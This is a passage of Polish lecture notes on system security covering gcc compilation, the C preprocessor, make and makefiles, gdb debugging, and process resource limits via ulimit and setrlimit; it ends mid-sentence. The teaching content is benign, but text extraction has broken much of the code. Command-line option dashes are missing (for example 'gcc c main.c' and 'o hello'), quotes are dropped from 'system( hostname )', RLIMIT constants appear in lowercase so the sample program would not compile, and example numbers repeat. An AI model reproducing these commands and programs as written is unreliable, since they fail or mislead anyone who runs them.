1b: c3 ret Przykład 2-5 Ilustracja działania programu objdump dla pliku obiektowego disassemlacja segmentu kodu W kolejnym etapie możemy dokonać konsolidacji pliku hello.o pisząc polecenie jak niżej i otrzymamy nowy plik wykonywalny hello. gcc hello.o o hello W tym przykładzie Budowanie programu wykonywalnego przebiegało w dwóch etapach. W pierwszym etapie utworzyliśmy plik obiektowy a drugim dokonaliśmy jego konsolidacji otrzymując plik wykonywalny. Wiele informacji o pliku wykonywalnym można uzyskać za pomocą programów file, size, readelf. Polecenie size pozwala na uzyskanie informacji o rozmiarach programu co pokazuje poniższy przykład.

20 Bezpieczeństwo systemów i usług informatycznych 20 $size hello text data bss dec hex filename a4 hello Przykład 2-6 Ilustracja działania programu size dla pliku programu hello Chodzi przy tym nie o rozmiar pliku wykonywalnego zapisanego na dysku ale o rozmiar programu umieszczonego w pamięci operacyjnej. Część text podaje wielkość segmentu kodu, data podaje wielkość segmentu danych zainicjowanych, bss wielkość segmentu danych nie zainicjowanych a dec całkowitą wielkość pamięci zajmowaną przez program hello. Zestawienie narzędzi przydatnych w analizie programów pokazuje poniższa tabela. Program Opis Przykład objdump Podaje zawartość plików obiektowych objdump x hello.o readelf Odczyt pliku w formacie ELF readelf a hello size Podaje ile pamięci zajmuje proces size hello file Podaje typ pliku file hello Tabela 2-1 Zestawienie narzędzi do analizy plików programowych 2.3 Kompilator gcc Wiele plików źródłowych W licznych przypadkach program źródłowy składa się z wielu plików. Podział dużego pliku z kodem źródłowym na mniejsze jest wygodny gdyż umożliwia modułowe podejście do programowania. Pliki składowe mogą być kompilowane oddzielnie a potem łączone. Załóżmy że kod źródłowy składa się z plików: main.c i pierwszy.c. void pisz(char * tekst); int main(void){ pisz("program main"); return 0; } main.c #include <stdio.h> void pisz(char * tekst) { printf("%s\n",tekst); } pierwszy.c Kompilujemy je oddzielnie poprzez polecenia: $gcc c main.c $gcc c pierwszy.c W wyniku kompilacji utworzone zostaną dwa pliki obiektowe: main.o i pierwszy.o. Plik obiektowy jest plikiem wykonywalnym ale jeszcze niekompletnym. Do zbudowania pliku wykonywalnego potrzebny jest jeszcze proces konsolidacji która to wykonywana jest przez program nazywany linkerem (W Linuksie nazywa się ld). Nie jest raczej wywoływany wprost lecz wywołuje go program gcc. Nawiązując do powyższego programu plik wykonywalny o nazwie main tworzy się jak poniżej. $gcc o main pierwszy.o main.o Pliki nagłówkowe Pliki nagłówkowe są także plikami źródłowymi zawierającymi deklaracje typów i funkcji. Potrzebne są po to aby kompilator mógł sprawdzić prawidłowość użycia funkcji i zmiennych które zaimplementowane są w innych plikach. Wiele problemów z kompilacją ma swoje źródło w tym że kompilator nie wie gdzie położone są pliki nagłówkowe. Przykładem pliku nagłówkowego jest plik stdio.h który jest włączony do kodu źródłowego w linii: #include <stdio.h> Linuks przechowuje pliki nagłówkowe w katalogu /usr/include. Gdyby plik nagłówkowy o nazwie pierwszy.h był w innym katalogu powiedzmy /home/juka/include należałoby poinformować o tym kompilator jak poniżej. $gcc c I/home/juka/include pierwszy.c Jeżeli plik nagłówkowy jest w tym samym katalogu co plik źródłowy to umieszczamy jego nazwę w podwójnym cudzysłowie.

21 Bezpieczeństwo systemów i usług informatycznych 21 #include pierwszy.h Preprocesor języka C Zanim właściwy kompilator przystąpi do pracy, plik źródłowy przetwarzany jest wstępnie przez program zwany preprocesorem. Informacje dla preprocesora, nazywane dyrektywami, poprzedzane są znakiem krzyżyka #. Preprocesor można uruchomić bezpośrednio, nazywa się cpp. Na przykład: $cpp hello.c Można też wywołać kompilator gcc z opcją E, na przykład: $gcc -E hello.c Preprocesor wyróżnia trzy rodzaje dyrektyw: Pliki nagłówkowe Makrodefinicje Dyrektywy warunkowe Dyrektywa #include plik nakazuje preprocesorowi włączyć do kodu cały plik wymieniony po #include. Makrodefinicja nakazuje zastąpienie jednego łańcucha znaków innym łańcuchem. Na przykład #define SUMA(a,b) (a + b) W tym przypadku napotkane w programie napisy SUMA(2,3) zostaną zastąpione przez napis(2 + 3). Makrodefinicje mogą być podane także w linii poleceń kompilatora poprzez użycie opcji -D, np.: $gcc main.c DDEBUG=1 Działanie tej opcji będzie takie same jak pojawienie się w kodzie linii: #define DEBUG 1 Dyrektywy warunkowe pozwalają na włączenie/wyłączenie pewnych fragmentów kodu za pomocą dyrektyw: #ifdef, #if, #endif. #ifdef MAKRO tekst #endif #if warunek tekst #endif Gdy MAKRO zostało wcześniej zdefiniowane, to tekst zostanie włączony Gdy warunek ma wartość większą od zera, to tekst zostanie włączony Wykorzystanie kompilacji warunkowej i makrodefinicji podawanej jako opcji kompilatora pokazane zostanie poniżej. Fragment kodu pomiędzy liniami #ifdef DEBUG a #endif zostanie włączony tylko wtedy, gdy zdefiniowane będzie makro DEBUG. Można to osiągnąć albo poprzez odkomentowanie trzeciej linii poniższego przykładu lub poprzez użycie opcji D kompilatora. #include <stdio.h> #include <stdlib.h> // #define DEBUG 1 int main(int argc, char *argv[]) { #ifdef DEBUG printf("argc: %d argv[0]: %s\n",argc,argv[0]); #endif printf("dzien dobry\n"); return 0; } Przykład 2-7 Kompilacja warunkowa program hello2.c $gcc hello2.c o hello2 DDEBUG=1 Wykonanie programu skompilowanego jak powyżej da rezultat:

22 Bezpieczeństwo systemów i usług informatycznych 22 $./hello2 argc: 1 argv[0]:./hello2 Dzien dobry Gdy w linii kompilacji pominiemy opcję D wynik działania programu nie będzie zawierał informacji o parametrach funkcji main. $gcc hello2.c o hello2 $./hello2 Dzien dobry Jak widzimy kompilacja warunkowa i możliwość przekazywania makrodefinicji podczas kompilacji jest wygodnym mechanizmem różnicowania trybu uruchamiania i docelowego. 2.4 Uruchamianie programów za pomocą narzędzia make Opisane wyżej metody uruchamiania programów są odpowiednie dla prostych aplikacji składających się z jednego programu utworzonego z jednego bądź niewielkiej liczby plików źródłowych. Jednak w praktyce najczęściej mamy do czynienia z bardziej zaawansowanymi aplikacjami. Aplikacje te składają się z wielu programów a te z kolei składają się z wielu plików. W trakcie ich uruchamiania modyfikujemy niektóre z nich. Następnie musimy uruchomić aplikację aby sprawdzić efekty wprowadzonych zmian. Powstaje pytanie które pliki skompilować i połączyć aby wprowadzone w plikach źródłowych zmiany były uwzględnione a aplikacja aktualna. Z pomocą przychodzi nam narzędzie make powszechnie stosowane w tworzeniu złożonych aplikacji. W praktyce programistycznej typowa jest sytuacja gdy aplikacja składa się z pewnej liczby programów wykonywalnych zawierających jednak pewne wspólne elementy (stałe, zmienne, funkcje). Pokazuje to poniższy przykład. Przykładowa aplikacja składa się z dwóch programów: pierwszy.c i drugi.c. Każdy z programów wypisuje na konsoli swoją nazwę i w tym celu korzysta z funkcji void pisz(char * tekst) zdefiniowanej w pliku wspolny.c a jej prototyp zawarty jest w pliku wspolny.h. Sytuację pokazuje poniższy rysunek. pierwszy pliki wykonywalne drugi #include "wspolny.h" int main(void) { pisz("program 1"); return 0; } plik pierwszy.c #include "wspolny.h" int main(void) { pisz("program 2"); return 0; } plik drugi.c plik wspolny.c plik wspolny.h #include <stdio.h> void pisz(char * tekst) { printf("%s\n",tekst); } void pisz(char * tekst); Rys. 2-1 Aplikacja składająca się z dwóch programów Aby skompilować aplikację należy dwukrotnie wpisać polecenia kompilacji np. tak jak poniżej: $gcc pierwszy.c wspolny.c o pierwszy $gcc drugi.c wspolny.c o drugi Analogiczny efekt osiągnąć można tworząc plik definicji makefile dla narzędzia make a następnie pisząc z konsoli polecenie make. Narzędzie make opisane jest obszernie w literaturze i dokumentacji systemu Linux. Plik makefile dla powyższego przykładu pokazany jest poniżej. Należy zauważyć że plik makefile i pliki źródłowe powinny być umieszczone w jednym folderze. Po wpisaniu polecenia make system szuka w folderze bieżącym pliku o nazwie Makefile a następnie makefile po czym go przetwarza. # Plik makefile dla aplikacji skladajacej się z dwoch programow all: pierwszy drugi

23 Bezpieczeństwo systemów i usług informatycznych 23 pierwszy: pierwszy.c wspolny.c wspolny.h gcc -o pierwszy pierwszy.c wspolny.c drugi: drugi.c wspolny.c wspolny.h gcc -o drugi drugi.c wspolny.c Przykład 2-3 Plik makefile dla aplikacji składającej się z dwóch plików Wyniki działania polecenia make pokazuje polecenie ls $ ls drugi.c makefile pierwszy.c wspolny.c wspolny.h $make gcc o pierwszy pierwszy.c wspolny.c gcc o drugi drugi.c wspolny.c $ls drugi drugi.c makefile pierwszy pierwszy.c wspolny.c wspolny.h Przykład 2-4 Działanie polecenia make Z przykładu widać że kompilator gcc został uruchomiony samoczynnie z właściwymi parametrami a w wyniku jego działania zostały utworzone pliki wykonywalne pierwszy i drugi. Plik definicji makefile składa się z zależności i reguł. Zależność podaje jaki cel ma być osiągnięty (zwykle jest to nazwa pliku który ma być utworzony) i od jakich innych plików zależy. Na podstawie zależności program make określa jakie pliki są potrzebne do kompilacji, sprawdza czy ich kompilacja jest aktualna - jeśli tak, to pozostawia bez zmian, jeśli nie, sam kompiluje to co jest potrzebne zgodnie z poleceniem. W prostym wariancie reguła składa się z nazwy celu (może to być nazwa pliku wynikowego lub akcji którą należy przeprowadzić) a po dwukropku listy plików od których dany cel zależy. Jeżeli program make stwierdzi że plik wynikowy jest starszy od któregoś z plików od którego zależy dokonywana jest jego kompilacja zgodnie z regułą zawartą w kolejnej linii. cel: plik 1 plik 2... plik n polecenia Należy zwrócić uwagę że linia polecenia zaczyna się niewidocznym znakiem tabulacji. Zastąpienie znaku tabulacji spacjami spowoduje błędne działanie programu. Nawiązując do omawianego przykładu występuje tam definiująca zależność linia: pierwszy: pierwszy.c wspolny.c wspolny.h Informuje ona system że plik pierwszy zależy od plików pierwszy.c wspolny.c wspolny.h toteż jakakolwiek zmiana w tych plikach spowoduje konieczność powtórnego tworzenia pliku pierwszy. Natomiast reguły mówią jak taki plik utworzyć. W tym przykładzie aby utworzyć plik wykonywalny pierwszy należy uruchomić kompilator z parametrami jak poniżej. gcc -o pierwszy pierwszy.c wspolny.c Obecnie możemy wykonać eksperyment polegający na modyfikacji pliku wspolny.c Modyfikacji można wykonać edytorem (należy zapisać zmiany) lub zasymulować zmiany za pomocą polecenia: touch nazwa_pliku. Polecenie touch zmienia atrybut czas dostępu do pliku, ustawiając go na czas wykonania polecenia touch. Wykonajmy polecenie: touch wspolny.c. Wtedy czas modyfikacji pliku wspolny.c będzie większy niż czas utworzenia plików pierwszy i drugi a więc program make ma podstawy do stwierdzenia że pliki wykonywalne pierwszy i drugi są już nieaktualne gdyż zmieniono coś w pliku wspolny.c. Gdy napiszemy na konsoli polecenie make, program wykona rekompilację tworząc ponownie pliki pierwszy i drugi. $touch wspolny.c $make gcc o pierwszy pierwszy.c wspolny.c gcc o drugi drugi.c wspolny.c Przykład 2-5 Działanie polecenia make rekompilacja programów pierwszy i drugi Natomiast gdy zmienimy czas dostępu tylko do pliku pierwszy.c i napiszemy polecenie make to zostanie skompilowany tylko program pierwszy co pokazuje poniższy przykład.

24 Bezpieczeństwo systemów i usług informatycznych 24 $touch pierwszy.c $make gcc o pierwszy pierwszy.c wspolny.c Przykład 2-6 Działanie polecenia make rekompilacja programu pierwszy W plikach makefile umieszczać można linie komentarza poprzez umieszczenie na pierwszej pozycji takiej linii znaku #. W linii określającej cel zależność może być pominięta. Tak jest w poniższym przykładzie gdzie cel archiw nie zawiera żadnej zależności. Natomiast akcja definiuje wykonanie archiwizacji plików źródłowych. Gdy program make zostanie wywołany z parametrem będącym nazwą pewnego celu można spowodować wykonanie reguły odpowiadające temu celowi. Do poprzedniego pliku makefile dodać można regułę o nazwie archiw wykonania archiwizacji plików źródłowych co pokazuje Przykład 2-7. Wpisanie polecenia: make archiw spowoduje utworzenie archiwum plików źródłowych i zapisanie ich w pliku prace.tgz.. all: pierwszy drugi pierwszy: pierwszy.c wspolny.c wspolny.h gcc -o pierwszy pierwszy.c wspolny.c drugi: drugi.c wspolny.c wspolny.h gcc -o drugi drugi.c wspolny.c clean: rm *.o pierwszy drugi archiw: tar -cvf prace.tar *.c *.h makefile gzip prace.tar mv prace.tar.gz prace.tgz Przykład 2-7 Plik make z opcją archiwizacji plików źródłowych Argumenty polecenia make Program make może być wywołany z parametrami lub bez. Wywołany bez argumentów powoduje realizację pierwszego celu. Przykłady wywołania programu z argumentami podane są poniżej. make cel - powoduje realizację podanego w argumencie celu make f plik - powoduje przetwarzanie pliku make n Wbudowane makra i zmienne - wypisuje działania ale ich nie wykonuje System make posiada wbudowane makra. Przykłady niektórych pokazane są poniżej. CFLAGS - opcje kompilatora języka C CC - nazwa kompilatora języka C, domyślnie cc CXXFLAGS - opcje kompilatora języka C Więcej informacji na temat wbudowanych makr znaleźć można w dokumentacji systemu. Poniżej podano przykład użycia wbudowanych makr $(CC) i $(CFLAGS). all: pierwszy drugi pierwszy: pierwszy.c wspolny.c wspolny.h $(CC) -o pierwszy $(CFLAGS) pierwszy.c wspolny.c drugi: drugi.c wspolny.c wspolny.h $(CC) -o drugi $(CFLAGS) drugi.c wspolny.c Przykład 2-8 Przykład użycia wbudowanych makr Makrodefinicje użytkownika W plikach makefile można stosować makrodefinicje którym przypisuje się pewne wartości. Odwołanie do zmiennej nazwa ma postać: $(nazwa). Postępowanie takie jest stosowane gdy w pliku makefile powtarzają się pewne napisy, na przykład nazwy plików. Wygodnie wtedy oznaczyć je jako makrodefinicje i przypisać im na początku wartość. Postępowanie takie ilustruje poniższy przykład. Zdefiniowano tam zmienne ZRODLA1, ZRODLA2 którym przypisano początkowe wartości. Przykładowo użycie wewnątrz pliku zmiennej np. $(ZRODLA1) powoduje że na miejsce tej zmiennej podstawiony zostanie napis pierwszy.c wspolny.c wspolny.h co pokazano poniżej.

25 Bezpieczeństwo systemów i usług informatycznych 25 all: pierwszy drugi ZRODLA1= pierwszy.c wspolny.c ZRODLA2= drugi.c wspolny.c pierwszy: $(ZRODLA1) $(CC) -o pierwszy $(CFLAGS) $(ZRODLA1) drugi: $(ZRODLA1) $(CC) -o drugi $(CFLAGS) $(ZRODLA2) Przykład 2-8 Plik make ilustracja użycia makrodefinicji Typowe cele kompilacji Znaczna liczba plików makefile zawiera typowe cele kompilacji, które realizują części procesu przygotowania programu. Typowe cele kompilacji dane są poniżej: all jest to cel kompilacji realizujący cel pierwszy i drugi. install - akcja wykonywana w ramach tego celu ma spowodować skopiowanie plików wykonywalnych w ich właściwe miejsce przeznaczenia. clean - usunięcie plików pośrednich i wykonywalnych test - sprawdzenie czy utworzone programy działają poprawnie 2.5 Uruchamianie programów za pomocą narzędzia gdb Rzadko zdarza się by napisany przez nas program od razu działał poprawnie. Na ogół zawiera wiele błędów które trzeba pracowicie poprawiać. Typowy cykl uruchamiania programów polega na ich edycji, kompilacji i wykonaniu. Przy kompilacji mogą się ujawnić błędy kompilacji które wymagają poprawy a gdy program skompiluje się poprawnie przystępujemy do jego wykonania. Często zdarza się że uruchamiany program nie zachowuje się w przewidywany przez nas sposób. Wówczas należy uzyskać dodatkowe informacje na temat: Ścieżki wykonania programu Wartości zmiennych a ogólniej zawartości pamięci związanej z programem Informacje takie uzyskać można na dwa sposoby: Umieścić w kodzie programu dodatkowe instrukcje wyprowadzania informacji o przebiegu wykonania i wartości zmiennych. Użyć programu uruchomieniowego (ang. Debugger) Gdy używamy pierwszej metody, dodatkowe informacje o przebiegu wykonania programu są zwykle wypisywane na konsoli za pomocą instrukcji printf lub też zapisywane do pliku. Po uruchomieniu programu, instrukcje wypisywania dodatkowych informacji są z programu usuwane. Użycie pierwszej metody jest w wielu przypadkach wystarczające. Jednak w niektórych, bardziej skomplikowanych przypadkach, wygodniej jest użyć programu uruchomieniowego. Program taki daje następujące możliwości: Uruchomienie programu i ustawienie dowolnych warunków jego wykonania (np. argumentów, zmiennych otoczenia, itd) Doprowadzenie do zatrzymania programu w określonych warunkach. Sprawdzenie stanu zatrzymanego programu (np. wartości zmiennych, zawartość rejestrów, pamięci, stosu) Zmiana stanu programu (np. wartości zmiennych) i ponowne wznowienie programu. W świecie systemów klasy POSIX, szeroko używanym programem uruchomieniowym jest gdb (ang. gnu debugger) który jest częścią projektu GNU Richarda Stallmana. Może on być użyty do uruchamiania programów napisanych w językach C, C++, assembler, Ada, Fortran, Modula-2 i częściowo OpenCL. Program działa w trybie tekstowym, jednak większość środowisk graficznych IDE takich jak Eclipse czy CodeBlocks potrafi się komunikować z gdb co umożliwia pracę w trybie okienkowym. Istnieją też środowiska graficzne specjalnie zaprojektowane do współpracy z gdb jak chociażby DDD (ang. Data Display Debugger). Program gdb posiada wiele możliwości i obszerną dokumentację a tutaj podane zostaną tylko najważniejsze polecenia. Kompilacja programu Aby możliwe było uruchamianie programu z użyciem gdb testowany program należy skompilować z opcją: g. Użycie tego klucza powoduje że do pliku obiektowego z programem dołączona zostanie informacja o typach zmiennych i funkcji oraz zależność pomiędzy numerami linii programu a fragmentami kodu binarnego. Rozważmy przykładowy program test.c podany w Przykład 2-9. Aby skorzystać z debuggera program test.c należy skompilować następująco: gcc test.c o test g

26 Bezpieczeństwo systemów i usług informatycznych 26 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void) { int i,j; puts("witamy w Lab PRW"); system( hostname ); for(i=0;i<10;i++) { j=i+10; printf("krok %d\n",i); sleep(1); } printf("koniec\n"); return EXIT_SUCCESS; } Przykład 2-9 Program test.c Uruchomienie i zakończenie Program gdb uruchamia się w następujący sposób: gdb [opcje] [prog [obraz-pam lub pid]] gdb [opcje] --args prog [argumenty_prog...] gdzie: opcje Opcje programu które można uzyskać pisząc: gdb --h prog Nazwa pliku wykonywalnego obraz-pam Obraz pamięci utworzony przy awaryjnym zakończeniu programu pid Pid procesu do którego chcemy się dołączyć args Argumenty programu Najprostszy sposób uruchomienia debuggera gdb w celu uruchamiania programu zawartego w pliku prog to napisanie na konsoli polecenia: gdb prog Można też dołączyć się do już działającego programu. W tym celu po nazwie programu należy podać jego pid co pokazuje Tabela 2-2. Program gdb może też służyć do analizy przyczyny awaryjnego zakończenia programu. Gdy proces jest kończony, na skutek otrzymania jednego z pewnych sygnałów, system operacyjny tworzy plik zawierający obraz pamięci procesu. Obraz ten może być analizowany przez gdb w celu znalezienia przyczyny awaryjnego zakończenia procesu. Aby dokonać analizy procesu prog który został awaryjnie zakończony, a jego oraz pamięci został zapisany w pliku core, gdb uruchamia się jak następuje: gdb prog core. Jeszcze jeden wariant uruchomienia programu gdb pozwala na podanie argumentów uruchamianego programu. Gdy program prog należy uruchomić z argumentami a1 a2... an to wtedy gdb należy uruchomić z opcją --arg jak następuje: gdb -- arg prog a1 a2... an. Typowe sposoby uruchomienia programu gdb podaje Tabela 2-2. gdb prog gdb prog core gdb prog pid Zwykłe uruchomienie gdb dla programu zawartego w pliku prog Uruchomienie gdb dla programu z pliku prog. Obraz pamięci znajduje się w pliku core. Dołączenie się do działającego programu, oprócz nazwy podajemy też jego pid gdb --args prog argumenty Uruchomienie gdb dla programu z argumentami gdb help Uzyskiwanie pomocy Tabela 2-2 Różne sposoby uruchomienia programu gdb Program gdb kończy się wpisując polecenie quit, skrót q lub też kombinację klawiszy Ctrl+d. Możemy uruchomić program gdb w celu testowania podanego w programu test. W tym celu piszemy polecenie: $gdb test Po wpisaniu tego polecenia zgłasza się program gdb i oczekuje na wprowadzenie poleceń.

27 Bezpieczeństwo systemów i usług informatycznych 27 Uzyskiwanie pomocy Program gdb posiada znaczną liczbę poleceń. Wpisując polecenie help uzyskujemy zestawienie kategorii poleceń, wpisując polecenie help all uzyskujemy zestawienie wszystkich poleceń. Listowanie programu źródłowego Uzyskanie fragmentu kodu źródłowego następuje przez użycie polecenia list. Polecenie to występować może w różnych wariantach co pokazuje Tabela 2-3. list Listowanie fragmentu kodu źródłowego począwszy od bieżącej pozycji list nr Listowanie fragmentu kodu źródłowego w pobliżu linii o numerze nr list pocz, kon Listowanie fragmentu kodu źródłowego od linii pocz do linii kon list + Listowanie nastepnego fragmentu kodu źródłowego (od pozycji bieżącej) list - Listowanie poprzedniego fragmentu kodu źródłowego (od pozycji bieżącej) Tabela 2-3 Polecenia listowania fragmentu kodu źródłowego Gdy mamy już uruchomiony gdb i testujemy program test możemy wylistować fragment kodu źródłowego pisząc polecenie list jak pokazuje Ekran 2-1. Ekran 2-1 Listowanie kodu źródłowego Zatrzymywanie procesu Testowanie programów polega zwykle na próbie ich wykonania i zatrzymania, po czym następuje zbadanie stanu programu. Momenty zatrzymania określane przez tak zwane punkty zatrzymania (ang. breakpoint). Są trzy metody zdefiniowania punktu zatrzymania: Wskazanie określonej linii w kodzie programu lub też nazwy fukcji. Jest to zwykły punkt zatrzymania. Zatrzymanie programu gdy zmieni się wartość zdefiniowanego przez nas wyrażenia (ang. watchpoint). Zatrzymanie programu gdy zajdzie określone zdarzenie (ang. catchpoint) jak wystąpienie wyjątku czy załadowanie określonej biblioteki. Tworzonym punktom zatrzymania nadawane są kolejne numery począwszy od 1. Po utworzeniu mogą one być aktywowane (ang enable), dezaktywowane (ang. disable) i kasowane (ang. delete). Najprostszym sposobem ustawienia punktu zatrzymania jest użycie polecenia: break nr_lini. Następuje wtedy ustawienie punktu zatrzymania w danej linii programu. Polecenie: info break powoduje wypisanie ustawionych punktów wstrzymania. Możemy teraz, w naszym przykładowym programie, ustawić punkt zatrzymania na linii 10, co robimy poleceniem: break 10 jak pokazuje Ekran 2-2. Polecenie info break podaje ustawione punkty zatrzymania. Ekran 2-2 Ustawienie punktu zatrzymania Punkty wstrzymania można kasować za pomocą polecenia: clear nr_linii. Polecenie break występuje w wielu wariantach co opisane jest w dokumentacji. Między innymi można ustawić zatrzymanie procesu gdy spełniony jest pewien warunek. Polecenie warunkowe ma wtedy postać:

28 Bezpieczeństwo systemów i usług informatycznych 28 break nr_linii if warunek którego skutkiem będzie zatrzymanie procesu w danej linii gdy warunek będzie spełniony. Przykładowo możemy ustawić punkt zatrzymania na linii 10 gdy zmienna i w programie z osiągnie wartość większą niż 5. Polecenie będzie miało postać: break 10 if i > 5. Proces ustawiania warunkowego punktu zatrzymania pokazuje Ekran 2-3. Ekran 2-3 Ustawienie warunkowego punktu zatrzymania Uruchamianie procesu Jeżeli w programie ustawiono punkty zatrzymania to można go uruchomić. Wykonuje się to poprzez polecenie run. Ekran 2-4 Wykonanie programu do punktu zatrzymania Listowanie programu list [numer linii] skrót Uruchomienie programu run [argumenty] Ustawienie punktu zatrzymania break nr_linii b break nazwa_funkcji break nr_linii if warunek Ustawienie pułapki, program zatrzyma się gdy zmieni się watch nazwa_zmiennej w wartość obserwowanej zmiennej Listowanie punktów zatrzymania info break Kasowanie punktu zatrzymania clear nr_linii Wyprowadzenie wartości zmiennych print nazwa_zmienne p Kontynuacja do następnego punktu wstrzymania continue c Wykonanie następnej instrukcji, nie wchodzimy do funkcji next n Wykonanie następnej instrukcji, wejście do funkcji step s Uzyskanie pomocy help h Ustawienie wartości zmiennej var na wart set variable var=wart Zakończenie pracy programu quit q Tabela 2-4 Najczęściej używane polecenia programu uruchomieniowego gdb b main - Put a breakpoint at the beginning of the program b - Put a breakpoint at the current line b N - Put a breakpoint at line N b +N - Put a breakpoint N lines down from the current line b fn - Put a breakpoint at the beginning of function "fn" d N - delete breakpoint number N info break - list breakpoints r - Run the program until a breakpoint or error c - continue running the program until the next breakpoint or error

29 Bezpieczeństwo systemów i usług informatycznych 29 f - Run until the current function is finished s - run the next line of the program s N - run the next N lines of the program n - like s, but don't step into functions u N - run until you get N lines in front of the current line p var - print the current value of the variable "var" bt - print a stack trace u - go up a level in the stack d - go down a level in the stack q - Quit gdb 2.6 Zadania Makrodefinicje i kompilacja warunkowa Napisz program używający kompilacji warunkowej który w zależności od podanego w czasie kompilacji makra DEBUG wyświetla szczegółową informację o swym działaniu lub ją pomija Debugger Zmodyfikuj program test w taki sposób że wyrażenie j=i+10 zostanie zastąpione funkcją int oblicz(int i) { return i+10}. Przetestuj jak się wchodzi w funkcję oblicz lub też tylko korzysta z jej wyników.

30 Bezpieczeństwo systemów i usług informatycznych Ustanawianie ograniczeń na użycie zasobów W każdym systemie komputerowym zasoby potrzebne do tworzenia i wykonywania procesów są ograniczone. W przypadku gdy w systemie działa wiele procesów ważną rzeczą jest zabezpieczenie systemu przed wyczerpaniem zasobów spowodowanym przez nadmierne zużycie zasobów przez procesy wchodzące w skład aplikacji. W bezpiecznym systemie operacyjnym powinien istnieć mechanizm limitujący pobieranie zasobów przez procesy. System Linux posiada mechanizmy pozwalające na ustanowienie limitu na takie zasoby jak: czas procesora, pamięć operacyjna, pamięć wirtualna wielkość pamięci pobranej ze sterty, wielkość segmentu stosu, maksymalna liczba deskryptorów plików, maksymalna wielkość pliku utworzonego przez proces maksymalna liczba procesów potomnych tworzonych przez proces. Maksymalna liczba blokad plików i obszarów pamięci operacyjnej Dla każdego z tych zasobów istnieje: ograniczenie miękkie (ang. soft limit) ograniczenie twarde (ang. hard limit). Ograniczenie miękkie może być zmieniane przez proces bieżący ale nie może przekroczyć twardego. Ograniczenie twarde może być zmieniane przez proces o statusie administratora. 3.1 Testowanie i ustawianie limitu zasobów z poziomu shell Do testowania i ustawiania poziomu zużycia zasobu przez uzytkownika służy polecenie ulimit ulimit [-acdfhlmnpsstuv] [limit] Opcje: -S Zmień lub pokaż miękkie ograniczenie -H Zmień lub pokaż twarde ograniczenie -a Pokaż wszystkie ograniczenia -c Maksymalna wielkość pamięci operacyjnej -d Maksymalna wielkość segmentu danych -f Maksymalna wielkość tworzonego pliku -l Maksymalna wielkość pamięci operacyjnej która może być zablokowana -n Maksymalna liczba deskryptorów plików -p Maksymalna wielkość bufora na łącza nienazwane -s Maksymalna wielkość stosu -t Maksymalna wielkość jednostek czasu procesora -u Maksymalna liczba tworzonych przez użytkownika procesów -v Maksymalna wielkość pamięci wirtualnej dla procesu

31 Bezpieczeństwo systemów i usług informatycznych 31 $ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) unlimited virtual memory (kbytes, -v) unlimited file locks (-x) unlimited $ulimit Sn 10 $ulimit n 10 Przykład 3-1 Testowanie i ustawianie limitów zasobów Ustawiane limity zmieniane są w jednostkach 1024 bajtowych z wyjątkiem: t sekundy, -p bloki 512 bajtów -n sztuki -u sztuki, 3.2 Testowanie i ustawianie limitu zasobów z poziomu programu Do testowania limitów zasobów służy funkcja getrlimit. getrlimit pobranie aktualnego limitu zasobów int getrlimit(int resource, struct rlimit *rlp) Gdzie: resource rlp Określenie zasobu. Wskaźnik na strukturę zawierającą bieżące i maksymalne ograniczenie. Funkcja zwraca 0 gdy sukces a 1 gdy błąd. Jako pierwszy parametr funkcji podać należy numer testowanego zasobu które podaje tabela. Funkcja powoduje skopiowanie do struktury rlp aktualnych ograniczeń. Struktura ta zawiera co najmniej dwa elementy: rlim_cur - zawiera ograniczenie miękkie rlim_max zawierający ograniczenie twarde. Do ustawiania limitów zasobów służy funkcja setrlimit. setrlimit ustanowienie nowego limitu zasobów int setrlimit(int resource, struct rlimit *rlp) Funkcja zwraca 0 gdy sukces a 1 gdy błąd.

32 Bezpieczeństwo systemów i usług informatycznych 32 Gdy proces próbuje pobrać zasoby ponad przydzielony limit system operacyjny może: 1. Zakończyć proces. 2. Wysłać do niego sygnał. 3. Zakończyć błędem funkcję pobierającą dany zasób. Oznaczenie Opis Akcja przy przekroczeniu RLIMIT_AS Pamięć wirtualna Wysłanie sygnału SIGSEGV do procesu przekraczającego zasób RLIMIT_CORE Pamięć operacyjna Zakończenie procesu z zapisaniem na dysku obrazu pamięci operacyjnej. RLIMIT_CPU Czas procesora Wysłanie sygnału SIGXCPU do procesu przekraczającego zasób. RLIMIT_DATA Wielkość pamięci pobranej ze Funkcja pobierająca pamięć kończy się RLIMIT_FSIZE sterty. Maksymalna wielkość pliku utworzonego przez proces. Gdy 0 to zakaz tworzenia plików. błędem. Wysłanie sygnału SIGXFSZ do procesu przekraczającego zasób. Gdy sygnał jest ignorowany to plik nie zostanie powiększony ponad limit. RLIMIT_NOFILE Maksymalna liczba deskryptorów plików tworzonych przez proces. Funkcja tworząca ponad limitowe pliki skończy się błędem. RLIMIT_STACK Maksymalny rozmiar stosu Wysłanie sygnału SIGSEGV do procesu przekraczającego stos. RLIMIT_NPROC Maksymalna liczba procesów potomnych tworzonych przez proces. Procesy przekraczające limit nie będą utworzone. RLIMIT_MSGQUEUE Pamięć zajmowana przez kolejki komunika tów POSIX Tab. 3-1 Zestawienie niektórych zasobów systemowych podlegających ograniczeniu Ustanowienie ograniczenie RLIMIT_CPU na czas zużycia procesora w systemach działających nieprzerwanie nie ma dużego zastosowania #include <stdlib.h> #include <sys/resource.h> int main(int argc, char *argv[]) { int res, i, num = 0; struct rlimit rl; printf(" CUR MAX \n"); getrlimit(rlimit_cpu,&rl); printf("cpu %d %d \n",rl.rlim_cur, rl.rlim_max); getrlimit(rlimit_core,&rl); printf("core %d %d \n",rl.rlim_cur, rl.rlim_max); rl.rlim_cur = 2; setrlimit(rlimit_cpu,&rl); while (1); return 0; } Program 3-1 Program rlimit.c testujący i nakładający ograniczenia na pobierane przez proces zasoby Gdy przydzielony czas procesora ulegnie wyczerpaniu proces zakończy się z komunikatem: $CPU time limit exceeded (core dumped) 3.3 Ustanawianie ograniczeń na użycie zasobów dla użytkowników System Linux umożliwia ustanowienie limitu na wymienione wyżej zasoby dla poszczególnych użytkowników. Limity takie zapobiegają nadmiernemu użyciu zasobów przez danego użytkownika, co mogło by prowadzić do sytuacji gdy inni uzytkownicy nie otrzymują potrzebnych im zasobów. Ustawienie limitów na 